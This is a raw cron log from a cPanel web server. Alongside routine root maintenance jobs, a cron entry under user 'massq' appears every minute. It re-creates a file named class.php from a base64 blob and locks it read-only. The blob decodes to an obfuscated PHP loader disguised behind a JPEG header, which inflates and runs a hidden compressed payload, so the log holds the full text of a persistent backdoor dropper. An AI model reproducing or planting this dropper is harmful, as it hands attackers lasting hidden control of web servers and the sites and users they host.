Sep  7 11:56:01 server CROND[8224]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:57:01 server CROND[8715]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:57:01 server CROND[8716]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:57:01 server CROND[8717]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:57:01 server CROND[8718]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 11:58:01 server CROND[9111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:58:01 server CROND[9112]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:58:01 server CROND[9113]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:59:01 server CROND[9499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:59:01 server CROND[9501]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 11:59:01 server CROND[9502]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:00:01 server CROND[9899]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:00:01 server CROND[9901]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 12:00:01 server CROND[9900]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 12:00:01 server CROND[9919]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  7 12:00:01 server CROND[9922]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:00:01 server CROND[9921]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 12:00:01 server CROND[9920]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  7 12:00:01 server CROND[9924]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:00:01 server CROND[9925]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:00:01 server CROND[9929]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:00:01 server CROND[9926]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Sep  7 12:01:01 server CROND[10857]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:01:01 server CROND[10858]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:01:01 server CROND[10860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:01:01 server CROND[10859]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 12:01:01 server run-parts(/etc/cron.hourly)[10859]: starting 0anacron
Sep  7 12:01:01 server run-parts(/etc/cron.hourly)[10879]: finished 0anacron
Sep  7 12:02:01 server CROND[11349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:02:01 server CROND[11351]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:02:01 server CROND[11350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:03:01 server CROND[11767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:03:01 server CROND[11768]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:03:01 server CROND[11769]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:04:01 server CROND[12167]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:04:01 server CROND[12168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:04:01 server CROND[12169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:05:01 server CROND[12609]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 12:05:01 server CROND[12611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:05:01 server CROND[12615]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:05:01 server CROND[12622]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:05:01 server CROND[12624]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 12:05:01 server CROND[12623]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 12:05:01 server CROND[12621]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:05:01 server CROND[12625]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:06:01 server CROND[13464]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:06:01 server CROND[13465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:06:01 server CROND[13466]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:07:01 server CROND[13948]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 12:07:01 server CROND[13949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:07:01 server CROND[13950]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
